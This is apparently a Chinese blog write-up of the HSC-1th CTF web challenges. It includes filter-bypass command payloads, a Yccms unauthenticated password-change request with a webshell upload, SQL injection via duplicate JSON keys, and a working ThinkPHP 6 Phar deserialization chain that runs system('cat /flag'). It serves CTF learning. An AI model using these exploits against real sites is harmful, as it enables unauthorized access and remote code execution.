[HSC-1th]web wp

这篇博客探讨了Web安全中的robots.txt协议和PHP代码审计。通过main.js文件中的exec函数,展示了如何利用过滤后的cmd执行命令。文章提到了CMSSystem的源码泄露,允许未授权的管理员密码修改,以及Yccms代码审计中发现的POST请求漏洞。此外,还分析了一个Go项目中的SQL注入漏洞,可以通过多参数绕过过滤执行恶意命令。最后,博客讨论了Thinkphp框架中的PHP反序列化漏洞,利用Phar协议实现远程代码执行。整体上,文章涉及Web安全攻防和代码审计的关键技术。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Web-sign in

robots.txt协议,fiag_ls_h3re.php

开发者工具查看源码即可

CLICK

main.js文件中

EXEC

 <?php
error_reporting(0);
if(isset($_REQUEST["cmd"])){
    $shell = $_REQUEST["cmd"];
    $shell = str_ireplace(" ","",$shell);
    $shell = str_ireplace("\n","",$shell);
    $shell = str_ireplace("\t","",$shell);
    $shell = str_ireplace("?","",$shell);
    $shell = str_ireplace("*","",$shell);
    $shell = str_ireplace("<","",$shell);
    $shell = str_ireplace("system","",$shell);
    $shell = str_ireplace("passthru","",$shell);
    $shell = str_ireplace("ob_start","",$shell);
    $shell = str_ireplace("getenv","",$shell);
    $shell = str_ireplace("putenv","",$shell);
    $shell = str_ireplace("mail","",$shell);
    $shell = str_ireplace("error_log","",$shell);
    $shell = str_ireplace("`","",$shell);
    $shell = str_ireplace("exec","",$shell);
    $shell = str_ireplace("shell_exec","",$shell);
    $shell = str_ireplace("echo","",$shell);
    $shell = str_ireplace("cat","",$shell);
    $shell = str_ireplace("ls","",$shell);
    $shell = str_ireplace("nl","",$shell);
    $shell = str_ireplace("tac","",$shell);
    $shell = str_ireplace("bash","",$shell);
    $shell = str_ireplace("sh","",$shell);
    $shell = str_ireplace("tcp","",$shell);
    $shell = str_ireplace("base64","",$shell);
    $shell = str_ireplace("flag","",$shell);
    $shell = str_ireplace("cp","",$shell);
    exec($shell);
}else{
    highlight_file(__FILE__);
} 

过滤很多东西,exec函数执行无回显

利用>将命令执行结果输出到文件

cmd=llss${IFS}/.>b
cmd=cacatt${IFS}/ctf_is_fun_flflagag2021>b

CMS System

www.zip源码泄露

下载审计,存在未授权管理员密码修改

Yccms代码审计

POST /admin/?a=admin&m=update HTTP/1.1
username=admin&password=123456&notpassword=123456&send=%E4%BF%AE%E6%94%B9%E5%AF%86%E7%A0%81

image-20220220131843071

修改密码后登录后台

后台存在任意文件上传漏洞

CallAction.class.php

image-20220221143526853

跟进logupload

LogoUpload.class.php

image-20220221143746705

上传会将文件重命名并且后缀可控,修改文件名1.png.php,可以绕过checkType函数且重命名之后为logo.php

image-20220221144038015

蚁剑连接即可

image-20220221144502983

Language

源码里有两个文件夹,一个是python,一个是go。其中python文件作为中转,将请求进行处理后再转发给go项目进行处理。

先看看go项目目录结构

image-20220222130513827

关键点在于backend.go

package controller

import (
	db "ctf/database"
	"encoding/json"
	"fmt"
	"github.com/buger/jsonparser"
	"io/ioutil"
	"net/http"
)

type Language struct {
	Id  int32  `json:"id"`
	Name string `json:"name"`
	Votes int64 `json:"votes"`
}


func Index(w http.ResponseWriter, _ *http.Request) {
	ok(w, "Hello World!")
}

func List(w http.ResponseWriter, _ *http.Request) {

	rows, err := db.Sqlite.Query("SELECT * FROM languages;")
	if err != nil {
		fail(w, "Something wrong")
		fmt.Println(err.Error())
		return
	}
	defer rows.Close()

	res := make([]Language, 0)
	for rows.Next() {
		var pl Language
		_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)
		res = append(res, pl)
	}
	err = json.NewEncoder(w).Encode(res)
}

func Search(w http.ResponseWriter, r *http.Request) {
	reqBody, _ := ioutil.ReadAll(r.Body)

	votes, err := jsonparser.GetInt(reqBody, "votes")
	if err != nil {
		fail(w, "Error reading votes")
		return
	}
	name, err := jsonparser.GetString(reqBody, "name")
	if err != nil {
		fail(w, "Error reading name")
		return
	}

	query := fmt.Sprintf("SELECT * FROM languages WHERE votes >= %d OR name LIKE '%s';", votes, name)
	rows, err := db.Sqlite.Query(query)
	if err != nil {
		fail(w, "Something wrong")
		fmt.Println(err.Error())
		return
	}
	res := make([]Language, 0)
	for rows.Next() {
		var pl Language
		_ = rows.Scan(&pl.Id, &pl.Name, &pl.Votes)
		res = append(res, pl)
	}
	err = json.NewEncoder(w).Encode(res)
}


func Flag(w http.ResponseWriter, r *http.Request ) {
	action:= r.URL.Query().Get("action")
	if action == "" {
		fail(w, "Error getting action")
		return
	}

	token:= r.URL.Query().Get("token")
	if token == "" {
		fail(w, "Error getting token")
		return
	}

	var secret string
	row := db.Sqlite.QueryRow("SELECT secret FROM token;")
	if err := row.Scan(&secret); err != nil {
		fail(w, "Error querying secret token")
		return
	}

	if action == "readFlag" && secret == token {
		data, err := ioutil.ReadFile("flag")
		if err != nil {
			fail(w, "Error reading flag")
			return
		}
		ok(w, fmt.Sprintf("Congrats this is your flag: %s", string(data)))
		return
	}
	ok(w, "Wrong token")
}

也就是说满足action == "readFlag" && secret == token就能得到flag,而token是从数据库中查的,而query := fmt.Sprintf("SELECT * FROM languages WHERE votes >= %d OR name LIKE '%s';", votes, name)存在sql注入漏洞,由此可以满足条件。

再看app.py

from flask import Flask, request, render_template, jsonify
from urllib.parse import unquote
import requests

app = Flask(__name__)

server = '127.0.0.1:8000'


@app.route("/", methods=["GET"])
def index():
    return render_template("index.html")


@app.route("/list", methods=["POST"])
def listAll():
    r = requests.post(f"http://{server}/api/list")
    return jsonify(r.json())


@app.route("/search", methods=["GET", "POST"])
def search():
    if request.method == "GET":
        return render_template("search.html")
    else:
        data = request.json
        if data['name']:
            if not isinstance(data['name'], str) or not data['name'].isalnum():
                return jsonify({"error": "Bad word detected"})
        if data['votes']:
            if not isinstance(data['votes'], int):
                return jsonify({"error": "Bad word detected"})
        r = requests.post(f"http://{server}/api/search", data=request.data)
        return jsonify(r.json())


@app.route("/healthcheck", methods=["GET"])
def healthCheck():
    getPath = ["", "flag"]
    postPath = ["api/list", "api/search"]
    try:
        for path in getPath:
            requests.get(f"http://{server}/{path}")
        for path in postPath:
            requests.post(f"http://{server}/{path}")
    except:
        return "Down"
    return "OK"


@app.route("/<path:path>", methods=["GET"])
def handle(path):
    if 'flag' in unquote(path):
        action = request.args.get('action')
        token = request.args.get('token')
        print(action)
        if action == "readFlag":
            return jsonify({"error": "Sorry, readFlag is not permitted"})
        r = requests.get(f"http://{server}/{path}", params={
            "action": action,
            "token": token
        })
    else:
        r = requests.get(f"http://{server}/{path}")
    return jsonify(r.text)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

这里做出了一些限制:

  • url中检测到action == "readFlag"返回报错
  • /search对输入参数进行了过滤,name必须是isalnum()(只能是字母和数字),votes必须是数字。

对于name和votes使用多参数绕过,python会解析第二个name,go会解析第一个name,因此我们可以进行sql注入。

image-20220222193754780

而对于action的过滤,利用编码绕过/flag%3faction=readFlag,python会将它解析为url,这样就可以绕过过滤而go会将其正常解析。

最终:

image-20220222195317391

image-20220222195835127

Avatar detection system

先上传测试一波,没搞出什么东西

image-20220222201103095

但我们观察到这里?s=upload,很像Thinkphp,访问一下不存在的模块试试

image-20220222201826666

TP6,反序列化一把梭,这里需要生成Phar文件,将后缀改为png上传,再利用phar协议执行即可

<?php
namespace think\model\concern;

trait Attribute{
    private $data=['snakin'=>'cat /flag'];
    private $withAttr=['snakin'=>'system'];
}
trait ModelEvent{
    protected $withEvent;
}

namespace think;

abstract class Model{
    use model\concern\Attribute;
    use model\concern\ModelEvent;
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;
    function __construct($obj = '')
    {
        $this->exists = true;
        $this->force = true;
        $this->lazySave = true;
        $this->withEvent = false;
        $this->suffix = $obj;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model{}

$a = new Pivot();
$b = new Pivot($a);

use Phar;
@unlink("snakin.phar");
$phar = new Phar("snakin.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

参考:

greatwall2021 | FYHSSGSS’s blog

长城杯线下赛赛后复现 | fmyyy

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值